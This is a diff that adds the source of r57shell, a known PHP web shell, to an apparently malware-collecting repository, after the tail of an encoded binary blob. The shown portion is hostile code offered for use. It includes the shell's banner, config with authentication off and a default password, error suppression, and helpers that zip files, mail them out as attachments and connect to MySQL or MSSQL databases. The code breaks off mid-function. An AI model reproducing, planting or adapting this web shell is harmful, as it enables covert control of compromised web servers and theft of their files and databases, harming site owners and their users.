zRy|R%G82ySvEH)P6(u3cv*o_0^{LZfS1uaXg-Z%ItxjZ`9x=q#z1c0=Cwus^HR;7z zB)umYLP<1s&hV*qMj8kG4QiF_0QEt_sn=)M2TiqX6bp?{JoI5gz$*hRXeP`q0e4_1 z6pWDGY_-AMS1dRZeb0K9QtO44??iQZUe)(-o0OzCJAu<0(vL`w%bCNPo3x4?Osnw; z7)7ZQIeNPw$EMm1b!%wn%{t06zg!bW_-)MEN=dGpyn&2al@MglaI9;fXBrNrR{;6H z0iKi!Pm?BJiEta9o*yE$^^Pe#3LhujN|c7i3(w7RNE_UF^B?lTlcAW<U43?$LsYmD zh}UBV9VG{zy0SXe8$7u9)$YKkg;<^f`H)kGK01V~P^>uXpD2Q9B#qAAR8@!PU_Jqt zs)i9El{75)oM5GYlhbHY^`KbVH7kXr^LAIexGd_tRUm}CA?6r(b+Sou|HRy0bZ-aM z!&9Y_t<AsDh_+^Ttc@cfXhKgMv{2rTG{ckQXgm^4&{E;s?6+eaz-74qiyP1TLBLcn zNLdbi4mZ<G9gf^a^i7?!-;ZZp%I5#t?t$owH<a_!Eq_TdBm-sEpg``0=hWyI4OAwO zj->|F@}ril8f;48c{BROe`6*grok5twL#r#yx#A6q1y+I@RB`1#Szk<6AT4apE^_Y z2C2sm;{i1=JS-Yefax)I(Gc_1IV2wyx`hUoS^t#c1m!Tfmla-^WI>PYu8{Kp>*d~D z_+IuWC&vN_`g~m;ai}oIZMH5%8h0Bx^q<NQ2dRI7s$92PzJfd0i-p_&WJ3WSzc_OF zm6SP$C&!5B3@UK>GH$Y&H}&Oq67Nf3k&eKBZ&mbz?k&icLVp5n=vyZh0l~d_)Qd1y z^FB<=Da6hh%y)`t@5sX3&e8Yh+|-Pc4Z8BOEJX40{td<2LTt%SQsH-Ga%L-zA0o8h z;;@?pGA5n)?F-7<90;^R2}YrVZ?kzBPes6?L+GgjNdSQ80XnSUC3|Z0+EOXSzFax` zFkQ~w%7r<W=(0XRS<K+T(-Op_fM7L5MDke*acr3@D1OEF`ZiCN_rYii%Ft7j%0dz> z)6(}}8C~@8kh+w&5Ly#d8uu*Kc;XV(WBomKW<$F*RcWFJL%7RhMIkj&YrzOReU*>x z%vCny>J}T~{R_<3c2!75*(Rqc_AXOkVd&}^zD|u&k>0U;w6E(=r(qO{!^}XU6G!`w zo2nu4x=MrYy!N>u*~nSg!!)gW6Hys~f<^^$57E1w#EB1`fV7boV(wva=D-GYJcRS_ znzy(oLcQh<pfc0{s^J*=;dK?W7u1!Jz|j&0KstU!;5Q!NQ;Z(Mpai=A7Eg+u9SGfx z(ReuHs(7$ldUg^<TQ|c_BC=n#I4C?7RWqAoU;9bAJIe}BuVZqElIwf747tjA^f@^e z>C@HRh=7$R)*v+Mng@2>3-<mvx72alUco-n`3m3E?02uW-ZoMP+xvE^VO;oCFfem- zm0X(QqgUf%N^yyFQhghx^+kFl<k~KzyEWG5bDm5J2wm%A;n<(k_tNkQ@!Nfmj1dng zwU0LOQ)JYSrjPD@n#=3|`MJC@KU{e-;X)&tsgsr2;MuH2%xBci5d;xl7Ije!+k$5C zn3k6B@T;2io-W?t{4qS{u%IhbRYSu3Vo8O6b1Y_>!jV?3L|3^a`I--vdLSJ9(wWB% zw%w4eq?-_!VJ7W@Wqz3?<9-=am+TKE{b(WGat@^2&CSgW0*u75Q00<h)3e(eM{SiB zix@ZW$#D<3g}mgPOuQW2G&aMdX{Rg8q(GrBW~<v=Ltwyz<Q&M0Y6rR#>H<6ZU^7zY z%;r=EeZ7e;z^)Z5MhQ*{zDq?P3A`|A#H8f%%rFu$<n|RTBIVfD@Wul1eEbM6r^IvX zyk?)9N6JkQR}5nw8HbAU;buJsnTGCbZS9M<$(cAV<zV^*M}(tlvt8!hB*+v-{ujC^ zzPcy;KIcSdYTz20xGzi|12)HiA&0_Ozl8kuITD92of9~@l4q6=9EaWe&mJkm2RgyL zpJe{9pRVx3cT~9GnFE5<;aZuiDvx*(579QU@LUc>$%@`?V(8FM(|YPMVqcW&0@wMQ zd$-}_M8mI|1ggWwx3b2Nq(THw5S)clO7)p*Z-1)XjDwY%Ww3Hn^|^9m{#)fHoCnU+ z=Bx?mG=<<wo8SB?hLd(#H$$STmKX@-JCT7aLRzCY6fU`&48|U>Ctg?j*R6rf|IV2B ziHr&Sksk|;lHu^FAmL6<TSPxW(0ZL5Ev7i#3=o>>@5ftdF2ZGIb$f@SA>GMeln|b0 z(TAFfnfCMLnheIoI$$(y*%cWoqnoGRZ<PZ4A}qtP#W9vphVbpM?}@1q@zVD!Fr_^! zP7_uZMWs{4bg@R$iDMg%=;}xmWzx=v)E!AY*naK0<hfP(a4PJ^%VNJtDx(tb)`1IT zveI-HTRpJfQV2Lbty)<rPcRHpdRgT49zme!#06IE6Y)!;ZPCEpr?wxR(!&0HpGBnH z@EEwFF_fAhAiC8~{7Nx3GXqT?Pc-sI!6Zv70srQQ5N)sTo32xuwGG7}Q{AOU5EmWT zTPV|AO|cpUyUkIe3$(f7W5jPo0~A@j&g<9zLOUjDFLKn;QL~F(EPYH}#1cptL?DX2 zfFSEYW6<g$sK{&2-y6F}Iy%C<I!{!h+ejPDq9uRLBN9I{HI@V>pFW#=T?I<=_5Dcf zgtRMrpq?PS?zaV1AQSwSjGd&Mm`z%8`5_z%$IqmEi9DwNo|;9#y5i?@CNw23xW1QR zS4=pX*ivI<g*7u-u@o0dnW2cBCN4O6lBbh5m^?1uWn8C}DRaR&gE^n}I;~M`hr!(9 z{!5(eVAez}l0JFcKO<`*+V7xsugPzdFY`?dQGtYkwZbx@W(Lg4LqpdmDm*isUf8O6 zYBuXnB~Fk+*Z1(CfKTvaXTwLd&D{pyw;9_#%Py25R}eY#G>mSEn!GGRbW?9z7U&XS z)IxaFtDt!V4>xiWj)4+-9j3nnH>yN-vGXZQF&W0CJ5Cp?#`brTNAUS>3RRgMl+Ovs zVCbI}`Bx@SsKWQ75eZ+0i*`~GSoX*3oH6Q=eOc}|MrB;)siaSS!kXk$p-1%O!A@$~ zl6;hC_0gN|No7A%3}p0ewh{9LWdJvu^cB8GE7+AA+4I&@SSipM){=}XNimAOULb>& z@6W{RK~T{ACDqRCC6ns11xt^3-&u{bR7P?1{>d~5-eHN%sI%x8R;|Io?R$q!TSFgK z=D<P{vsE)|atxNQW<(_xwHem)5=Va94wHtw4vD%+c_M{lz|2JD?Y3!<KlLT#h!S6x znBam)pji=xf`><B+)``QTu<R)g1bPFKZ>AQa9GTxT1}UgixNCz$>E*0J1XW|W(o9t zJs<t?aMMkj+KLix@iZR;w9j9ze0Uji*qQ5&TNOfU5PZeIE<U6@IKg_L(>Wnt4;IME zM3eTd!B8m;Y~8(?>(-nPa<Q|rv81C(DzQI7{J<So{^VqWi1j-m2Z9tae1vNd3Ox=j z<7$)MEDN_GC!7I{MA~!q4P4`4qpX5vc9ecO-NN|edFL{Q$678tc#|xFx7c*wJCb)z z8c%96Z&8(@ey{j#b%q@0MvS`afF{f1*7Ezv824`ad~8O!Z|Q^>e}XrI5fN!en=4KY z`?+h0bQr%ll8DmwuV}AA#Q4PfHvODWU*{eJMMaK%x8mw*MPIa+YTStyMq(1rN2X>2 zT~^y}NgEpq4rOuWvScUXvO5kUcSFw8Td@v1N%GL;(&y7B@L~5^2Qm^X{OfEb2qvFb zIcc}&5|@qvB_;IY{F8=XBJ@ZT_jZl}kRCG-LV#l(5$kdcP+q3mY^jcBeextkbbO$g zX(xLc;ZAW#f7^ZA+Tqk#I`6z3x2iW_v%4vz>CoC@S{`oAOmvO{WAE7mJI+#_Qq93E zcIH>Ybi1wL!sheC`t}W~ac_8*Se{uAlv>Xvt(K*0Ce|c&7H~Qh@0)tFq`r+S>EN&u zLyC#y4=eMqo)E+63mf4^<lo4M`-wG1Ge#jaxH}e}8o;o8!ifbW(`tYWLMbrQdcETg zXS4jL@KlfA$h5hAn~S1t8XBsn_*2&k5^u-pT(;3Y+Le^FIvTb42#&awgsCf?hj-^! z=eJkdiseN!5oxI#6&%FXuIR;|O02nU4kac_D~8L<I0rwRszh6NuP_b1CEPS_73C9U z!QvOnLbtn<!&CruNFMfEt@&9mwi~$REpx(zlPoR&-&#M2*_GiY+Snz17iM23D)tgi zm$)Wey#y;9w7wfDe}AOAVu_rz6e@O3cDwQ7hixH)M5$iio~Py(z$v0~R!fyjGj|(= z!k%?^T_-Jeoggge74rvemJj2ExP)lv3@krGt{Ond6<8?q*~I$s!Xjf3PG0qMsJ_ch zxOw2dE>8ve+M*!R17#rE8W*5LG?WY=z`+uUw|*k2<UfIG3ok?1w*uP>0ulznEfyQ| zj~p~UVO-(cjtjtGG*<^s3R^s2KY1IR5-^?GoQPR}r7+lazUldxmdHu0hK`CSq2wM; z!=L2Qe27-d4e0ZAFFN9w2xXk7?OHhIiue}%`{>+@#hA%1P6dxY#quoL>Ou*9IGAMk zC%IDa5N=Wq6Z9o<!f~)CHb?;3BYy=hk#MpZ%-RRO)Zu}zTpgd-=3Ruiz6P^QyG}`% z@@G;ey4oQTUnb(3_v5xkn6)`+b`I$yR#P>8q-j4>j?{CpCu5r8>12l)=X3||(ck$p zS!vESMR`~ZTFnuD`+}(4R{u;6V|YS)&!6ufWvD;POdINQ5hzq=iHXnXM`Jd7Bhxs8 zUh8q4^-}nN;DedxKY>n6B8`J1RO0kN2d(DZz)hCyohOTS(Qg)6%@-fjsy$0E<;fAv z#5<|N_Jk-n)*f)Cytb)To{~gt?P%79oqpP6d*ANl8GluFLSZC^r9A=!H?tK1r!>~P zw55WUq@(HRUDHJq7wDY|Xfy6Hv~{|PH4`g^ReFgO=8T%0Qg7jka@7ri)iQ*-*gu$B ztl8C<d5($0(@dADT)pa=5Rg7-tp4a+c{JS!n-r#rTIeXP@m=t#t<vbc`NW=#{wG9d z^;N5k1--L{V61?xhxpoXQc&wvYhjq?CBUy4NZ_^YoCbT%^?$}^@>iS^@)gueV8mK( z5#zE2sh*1+rXn&CVK?e42Lxw}GZ?m$)3+iTOx{AGZ!xu?Lax$tAlOmzP!U{RcImFM ziuncm1XE+Cto*+$jl|s@2X<{<JICP?Kx^)vKp)6gyj$7n#txQM?sqiA4dkB<s$G8? zj%rMV22AO`eD9jC_!E;kob(r}+Z8B-OLrm#6!+ee1-m8>;xOq~ne#9Q*Ml-KRol&( z5+=&+S7>)^IE<g`Xx3YV6%7lg7hogseD;C3-IZs*=;)$c)?dt%`oe{Rcfknlj%Aj< zvit*mN7;4{CvlW;o*FupeNpMQ`*AFyTg^_QBzi@5BFwtq)=ADZR>gd9JO*x6Mwn9& zv=Sfb>*72pcduaIob)h`Tqspocw?MDcXK_N9tP8k1RmV3=Qc*vH5VwXoqVQlCf+Y1 zW)n9X!f}YA7+UAZ5a*z5AelhjQT85L!p?y{?7d1h+9uEK{%nqQQ?>@S^3&0xp~9W7 z9hMXYUVAS{w{vmK<(R&rJew$2{E~~1i0zTs;WQ{`^Wv)EQ*+2nKyCRIN=0#Vg799- ze2?+A;&{^e!j{>ZWHw<TtEYHe2q@Fy3!a~{EJ*sg#jV-CX@`HQ;{0p>4UN7$u(Nkq z_F4nE!2@3w&!|omPRhsG9|ns;W7r=CVwTY9qCBV9JBTYkF@0n2!Y0QM3vZ9C?~}sP zP}G5e)}$I{S*c?{06<IvyC^sM+$Sf5_GS-d@J*^$SE&wdj-GvjOw|w$R^%D<Wz~{< zQNzw_E*t|J6y8UNFXY6GZ%eX+OQ_fOIQv^0cXW<{q>ohFi}TKmCosSK6iNRvFvo{- zxbK`02zY}KutOBxW1!kX-0m3I!>&CB+(w@#dr)^)9|I!qgqDZ8AG;rU=eduSrq3mz z{{89y*N;r0`nD2jYCFc$rJ_(AHnQBJv~~SsAi;$<cfTo6SmTeEP1;6fP+K-H$tDI> z-pEBkgVOjj16|wqP(s~Fn^r>$EuMXlv!Kr;c(w3AdiXG&oNX3oMxwdX{+^;Re~<Ht z-r+xfVur$keZHexze*)7hLc{v!=QVr+wb+uCJ}{PxSKeyIxf_ob!S|#N55N7tY=4} zw6-)7K70Y@vU)|u9?w~G=#L+m!>6!nP?BzELFt<_wCly^V?<|bA5j%KHzGBNI?uP7 zP&^=J8DfgxS&J0-e1>~!5^<e7x&HKb@162x{GG@)8B?Qv&7$HmzooNfrRyo{lyrUe z`R{Q>S{Az~j8^(XSop>4-*&g?>tEcRD=BPYLK^X|zQlMX-YU{*V=73?bIz9M%WeAg zo-2)2csI~t$F+POpG~l@rG|w6CXdY|7T1=V*+$R~jFo2X`5mvTcKUcpcFh8oBaJ+h z+|(3iCl3lu<we(JCNNYd#F&@n-ZN52(XX7VEuH~F?1#OZX)kAm;hAieth79h_LFX_ zREr~irfhpVO_oHe4bl7csV45`_PxHoDmS9I87CE_wJXnHA$cRg8M~gbFj*9Zw=pqg ziy7jfUx$z2FJp~WTvJ%l&6WBp^^ow&xSsY?*<1XjyW(&3EZFJn-4r76Cm!R3m@ToG zb(98hNQ<yUwiL_-sPmj0&dh%-YiZ@h9xf%2KIFboy^F@4|Ht!|mTiZ6wtKuc!RXCM z(&?fs(KM}cW?4x@@=dzYj4*s76uF{mbHhd^jbaw0DB1h~U?Jp{HCio&$omPuEVSY3 z-$u5SuV?ales7kYB&n<5*5J|^b3bV(6)`Lit8h7Py7jF3jD^W-k?$QXE(cjnr{)f& z>`rv;b?np}0}k1M>6hVl?#qVuZpb5j9d5sz$4vozgp=PpTykQ7$al6$saqKL?@#~x z$S91zH86i;N|@tp@We(;BRM+!Bt1Cv5>ahW9|Lv4;KYHSRcN{G81R)6W4-k*49~p_ zBW!=|7#J7-=I5R!hwA22e)A8%|3&iJ+x*{r5^>a#qo(^<>@k2I8OY=H%JJ*#OAH4q zW#G)=!V$q4d>dr{)i1B{Z_DkDTY)nPorCk&7-uj}O?-LH_$qO|Zu01$dgsP{g?2)^ zFE14Wgl2u44tL#GQjH1puhJCkHsVJ#rOyeGy8gLM5>GUGIE~wMN_7aPEsDmClBBdC zaZ&Z_Mt`%B=Z<8S57tV-edz#|)ZJ5~$3Pd8`~Jb$fed-=tq0%RW&C5{?Dmn9#xXE9 za|}!vty#FwMpqvmSsa}W)y-@F{t<MK0?Wbt*~h^0y89}J)8*>**0G~w;PNqW8r(F) zADk1R7LX^DpmGds?^f@`@jn{dowhgz+#iAX)|3a#?B74jiQn!7<?nW{osi_qu}=B= z+j8IRLfG&2Z3YALJE!US?(eq$ce`eT?DzE&_<G8f4t}@szuPY!ulm2wP4|Dmxgm%f z<Os>o9COW7rMyci5stA7Ho;1QO7CrF>-_Gr`Q~~G@(o_VVlx+#l155YdK_^rDD%GY z8T#4CYwsfxCW{TjFkU`!gjHP)$cWYo7q*>Ir9mN~A%3a){_d-d_j>UgZoj*JzrC`_ z2ZvcwLt)GHH*bz=MZfyUA=#<Y$in?Z_o6aMxniIMI=()D?bMdVPn4pj&RIG4dc<OX znJX4AmZTYp-sI^C0jA_{HuE1Zdy*899^~yIzk8^ajr_+z-qAYo(00k}b1K>M)&4AY z<saXhW9dmZ8{#2XdFh<%H%6jJ5vV0zLN@>Xt^E(TMku@J3PF~Tc~yT=5ZQ?6o`s-% z3HEBE<P=RfyS258-5gU|Vb9{mf|Z5dvq!23^b*MFVo00Zhy)hDyJ7xuAh<O@DEK^s zUE{FAkz>G;!I$|_he0Dc^TXX6+q=@%mJ-C}=E)zn+;j$t9N(|KZcNaM8OhMFLd2*U z=@f9v#`)2y10NP`V&iCG0k``sz(2ah;u=iG<~%-Zi@I<0Y`sbL#{wAQ#wzo?js~)G zZ6|GD@7k5rW0gWBkZxx~9R^zrQ=7PZH5K>{QP=nA@tV$Z)$HA%p*;p{{k`4v`x1Aq z9Poh&A;tHO(7~Coe|8td21cdtILN-`@O_iZvEZ#+X=Q=ehBxjuSEuLMM8OS$8RhB| zv9ZvX#e<|O0z0RDd_^9%TO)YVT6Df`vg)<8=FTaEJhF;CMMJI(a$a?Hb*e17TKSFP zg1|vJ{hHKNq*PY@cmQ_vnXs)~f4}{(BG;sAM<(mri00!0nMn{=)<0=Ly|LCbeSLM7 zk2uHG>N@x^koexfuBZS$T>euh1L=%^@79+o-v9ck+drJG<WC!%ryxdf<_`*F8%m~C zmFOgC3#^SdsXZyuhC#Ck9Nr%H+EC~i!iTN71uC4+A<XP)znEMUmCB{*&c2gZfy}Zs zFV8lFE2~;@Zmb{1XEx=$=|DPZtW8-Gs}wm(p{;SN;H}h2gG8fNM$MRAe=0@+Q~N+S z(FL0a-OpAzw^Fx4bY#NhJg*g5v9z{%DA%7mkHYiLCDc*CPbaAATAsA&7KS<RvO?ht z`oUqXE95Q2RO}NX(MWe94!F%GX)7xjUA*{{OewkFioMwM^N4()JgJfCs{U5=@_Bu1 zbn6?Z!)1v*ZhC8tdTu=u!V-rS-S2sRQhXniOj9D39$`9|G9{dEy;BCJAiJlE>B_Y% zUs)zsEWVPaa)$6k(iREJ?y82f`)K7ckW+sQ2&)^&n61?0KA1AJA8v9)<VFk?0G=Xe zoEItv-{sdiI>I?R8}`ljo{<U)hdETc6W~N~1)N^Ge)B!T83L-oac~xS0h~CZe41|l z?v*g!-@p3lko|p_zFZ*xd6xw42&kZ$ItDhos~=yHi;?5H6Gc4QkpCgh0Koq@2Fv~7 z|7v~~YQTaYK<jt@S{^m7r9>~T$ez*yQC;;K;xSN~nRrOKfj(2@fZIkN(ZpdvFJTs# zg?7cmQbNxQXX1Q?Nr~(N+4Wly(?)vIK1S-|+LFTW35jRvX!ABM?2>MF?JbS%A#qlk z9#!lgRk|;7q;4s#mFcKdUYgi@orTGoMEicxCjezx7Oie?1#R+mUtq(E`$52<(4n&g z*c}KQ%rNP!NB40GX4Supdj*rl&looxkbf0brfZ|5;+6_Z(U!`OKqtps@lzio4Cxpk zC=He0i$>@``NF%U>e(5p{T26}jA}8!u<G<xc_|k&Kk-4&WIC%_ZYm)L;ONFNkU!$y z)h@LC{uo$QrUXBbMvLs|CDk!-wME?);mSt`o%MB`!yWJgxul)O1EyovM(Bjq9wt+R zMM}OMf)up`a7q|q0mg9TIvm{q^6Qzi7AQ6g3vh{<uP!z>cXc%(Q8gxR@#XIB-a9&= zIy#^EL1&G$Uua=M=n(II7p8kN+vHIlQR1G$8N`xUmc!76Bez@NLZ9In2u!;{6o{sz zP-HaQ6gkdD-`qUtuwKIu*ehgv$Q0G>K85&xY;U4^@A`(VMd<<68n)l|H~TEu1Xl2b zE`sZS?_;1rSqII%`El|w&>t+c2V_URiH~J6Vm53*>UmXA?_y35W6O!aL)}CY5c+11 zZ?2Rc1P<Ogbje-IcD{~IrB`tbBtCFo2753QY5NrY2M6Ft?}h_PaBt2f{r&dehvlDl zIoKoxPDu81tDI;5Xj0@)pD@V9OfW@LlCOCX>>QSq>EOP)D|BdUF{@lXz1DM7k$8xZ zhC7ZN;rVRHspyg@+9Ufb=KC)syYA|dZ_I=UWWiWrD#XiIhB8m?UsXyzUHtNcCBdE@ z$>O4BX^8t2TKbXD9vk|HBKMsGu&bD3?LOD?Av+2?8xIs}`u$<R{3j09?#BcF57T3O AuK)l5 literal 0 HcmV?d00001 diff --git a/php/PHPshell/r57shell/r57shell.php b/php/PHPshell/r57shell/r57shell.php new file mode 100644 index 0000000..9bd2008 --- /dev/null +++ b/php/PHPshell/r57shell/r57shell.php @@ -0,0 +1,2187 @@ +<?php +/******************************************************************************************************/ +/* +/* # # # # +/* # # # # +/* # # # # +/* # ## #### ## # +/* ## ## ###### ## ## +/* ## ## ###### ## ## +/* ## ## #### ## ## +/* ### ############ ### +/* ######################## +/* ############## +/* ######## ########## ####### +/* ### ## ########## ## ### +/* ### ## ########## ## ### +/* ### # ########## # ### +/* ### ## ######## ## ### +/* ## # ###### # ## +/* ## # #### # ## +/* ## ## +/* +/* +/* +/* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ????????? ??????? ?? ??????? ????? ??????? +/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru +/* ??????: 1.3 (05.03.2006) +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* ????????? ????????????? ?? ?????? ? ????: blf, phoenix, virus, NorD ? ???? ?????? ?? RST/GHC. +/* ???? ? ??? ???? ?????-???? ???? ?? ?????? ???? ????? ??????? ??????? ???????? ? ?????? ?? ?????? +/* ?? rst@void.ru. ??? ??????????? ????? ???????????. +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by 1dt.w0lf +/* RST/GHC http://rst.void.ru , http://ghc.ru +/* ANY MODIFIED REPUBLISHING IS RESTRICTED +/******************************************************************************************************/ +/* ~~~ ????????? | Options ~~~ */ + +// ????? ????? | Language +// $language='ru' - ??????? (russian) +// $language='eng' - english (??????????) +$language='eng'; + +// ?????????????? | Authentification +// $auth = 1; - ?????????????? ???????? ( authentification = On ) +// $auth = 0; - ?????????????? ????????? ( authentification = Off ) +$auth = 0; + +// ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access) +// ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!) +// ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57' +// Login & password crypted with md5, default is 'r57' +$name='ec371748dc2da624b35a4f8f685dd122'; // ????? ???????????? (user login) +$pass='ec371748dc2da624b35a4f8f685dd122'; // ?????? ???????????? (user password) +/******************************************************************************************************/ +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = "1.3"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="r57shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>"); + } +} +$head = '<!-- ?????????? ???? --> +<html> +<head> +<title>WwW.SeCuReDeAtH.cOm</title> +<meta http-equiv="Content-Language" content="ar-sa"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #D4D0C8; +} +.td1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +font: 7pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #eeeeee 1px outset; +BORDER-TOP: #eeeeee 1px outset; +BORDER-LEFT: #eeeeee 1px outset; +BORDER-BOTTOM: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = 